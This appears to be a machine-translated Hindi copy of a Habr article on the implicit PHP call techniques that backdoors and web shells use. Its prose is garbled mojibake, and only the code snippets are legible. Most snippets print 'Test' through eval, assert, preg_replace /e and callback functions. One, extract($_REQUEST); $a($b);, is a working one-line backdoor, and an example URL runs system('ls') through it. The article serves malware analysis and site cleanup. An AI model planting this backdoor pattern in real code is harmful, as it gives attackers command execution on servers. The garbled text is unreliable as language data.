рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЗрдВрдкреНрд▓рд┐рдХреЗрдВрдЯ php рдХреЛрдб рдЗрдирд╡реЛрдХреЗрд╢рди рддрд░реАрдХреЗ

рд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рдЗрд▓рд╛рдЬ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ, рд╣реИрдХрд░ рдХреЗ рдЧреЛрд▓реЗ рдФрд░ рдмреИрдХрд╕реНрдЯ рдХреА рдХрдИ рдХрд┐рд╕реНрдореЛрдВ рдХреА рдЦреЛрдЬ рдХреА рдЬрд╛рддреА рд╣реИред рд▓рд┐рдкрд┐рдпреЛрдВ рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдФрд░ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдореЗрдВ рднрд┐рдиреНрдирддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕рднреА рдореЗрдВ рдПрдХ рдЪреАрдЬ рд╕рдорд╛рди рд╣реИ - рдпрд╣ рдЪрд░ рдФрд░ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдШреЛрд╖рдгрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рд╕рд╛рде рдПрдХ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рднреА рд╣реИред

рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдмреАрдЪ рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рддрд░рдл рдпрд╣ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЛ рдХрд╛рдлреА рдЬрдЯрд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рджреВрд╕рд░реА рддрд░рдл рдпрд╣ рдЖрдкрдХреЛ рдкрд╛рда рдбреЗрдЯрд╛ рдореЗрдВ рдХреЛрдб рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЗ рднрд╛рдЧ рдХреЛ рдХрд┐рд╕реА рдбреЗрдЯрд╛рдмреЗрд╕, jpeg / png / gif рдореЗрдЯрд╛-рдбреЗрдЯрд╛ рд╕реЗ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рд╕рд╛рдЗрдЯ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдкреНрд░реЗрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рд╕рд╛рджреЗ рдкрд╛рда рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХреЛрдб рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛, рдЖрд╕рд╛рдиреА рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрд╕реЗ, рдЗрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рдбреЗрд╡рд▓рдкрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП рд▓рд┐рдкрд┐рдпреЛрдВ рдореЗрдВ рд╢рд╛рдВрддрд┐рдкреВрд░реНрдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдФрд░ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрди рдЙрддреНрдкрд╛рджреЛрдВ рдХреЛ рджрд░рд╛рд░ рдХрд░рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реЛред

рд╕рднреА рдкреНрд░рдХрд╛рд░ рдХреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рд╣реЛрдиреЗ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдШреЛрд╖рд┐рдд рдФрд░ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдХреЙрд▓рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХреЛ рдЕрджреГрд╢реНрдп рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╣реИрдВред рд╕рд╛рджрдЧреА рдФрд░ рд╕реНрдкрд╖реНрдЯрддрд╛ рдХреЗ рд▓рд┐рдП, рдХреЙрд▓ рджреНрд╡рд╛рд░рд╛ "рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб" рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░реЗрдВ

echo "Test" 


рдЬреЛ рдкреГрд╖реНрда рдкрд░ "рдЯреЗрд╕реНрдЯ" рд╢рдмреНрдж рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ, рдЕрд╕рд▓реА рдЧреЛрд▓реЗ рдФрд░ рдмреИрдХрдбреЛрд░ рдореЗрдВ, рдЪрд░ рдФрд░ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд╛рдо, рд╕рд╛рде рд╣реА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛрдб, рдЦреБрд▓реЗ рд░реВрдк рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдмрд╛рдзрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред



рд╡рд┐рдХрд▓реНрдк 1: рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓

 <?php $a = "var_dump"; $b = "Test"; $a($b); ?> 


рд╡рд┐рдХрд▓реНрдк 2: рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдХрд╛рд╕рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрди

 <?php eval('$a = "Test"; echo $a;'); ?> 


рд╡рд┐рдХрд▓реНрдк 3: рдореБрдЦрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди

 <?php assert('print("Test")'); ?> 


рд╡рд┐рдХрд▓реНрдк 4: array_map рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди

 <?php function evil($a) { echo $a; } array_map('evil', array("Test")); ?> 


рд╡рд┐рдХрд▓реНрдк 5: preg_replace ('/.* / e') рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди

 <?php preg_replace('/.*/e', 'print("Test")', ''); ?> 


рд╡рд┐рдХрд▓реНрдк 6: рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди preg_replace_callback рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

 <?php $a = function () { echo "Test"; }; preg_replace_callback('/.*/', $a, ''); ?> 


рд╡рд┐рдХрд▓реНрдк 7: usort, uasort, uksort рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди

 <?php $a = function ($x, $y) { echo "Test"; }; $b = array(1 => '1', 2 => '2'); usort( $b, $a); ?> 


рд╡рд┐рдХрд▓реНрдк 8: рдЫрд┐рдкрд╛ рд╣реБрдЖ рд╕рдорд╛рд░реЛрд╣ рдШреЛрд╖рдгрд╛ рдФрд░ рдЕрд░реНрдХ рд╕реЗ рдЧреБрдЬрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреИрд░рд╛рдореАрдЯрд░

 <?php extract($_REQUEST); $a($b); ?> 


Site.ru/script.php?a=system&b=ls рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдкрд░ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рд╕рд┐рд╕реНрдЯрдо ("ls") рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛

рд╡рд┐рдХрд▓реНрдк 9: рдкреВрд░реНрдг рдХрд╛рд░реНрдп рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рдХреЗ (рдЖрдк рддрддреНрдХрд╛рд▓ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ () рдпрд╛ рдорд░ рд╕рдХрддреЗ рд╣реИрдВ)

 <?php register_shutdown_function(create_function('', "echo 'Test';")); ?> 


рдЙрд╕реА рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рднреА рдХреЙрд▓ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдХреЙрд▓ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрддреЗ рд╣реИрдВ: call_user_func_array (), call_user_func (), Forward_static_call_array, forward_static_call (), register_tick_function ()ред рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЧреЛрд▓реЗ рдФрд░ рдмреИрдХрд╕рд╛рдЗрдб рдореЗрдВ рд╣рдордиреЗ рдЗрди рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрд▓ рдХрд╛ рд╕рд╛рдордирд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ 8 рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рдХрд▓реНрдк 1 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдмреИрдХрдбреЛрд░ рдореЗрдВ, рдЙрдкрд░реЛрдХреНрдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрдпреЛрдЬрди рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЪрд░ рдФрд░ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдШреЛрд╖рдгрд╛рдУрдВ рдХреЛ рдЕрдХреНрд╕рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдмрд╛рд╣рд░ рд▓реЗ рдЬрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЙрдиреНрд╣реЗрдВ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ, рдПрдХ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рд╕реЗ, рдпрд╛ рдЫрд╡рд┐ рдореЗрдЯрд╛-рдбреЗрдЯрд╛ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред

Source: https://habr.com/ru/post/In215139/


All Articles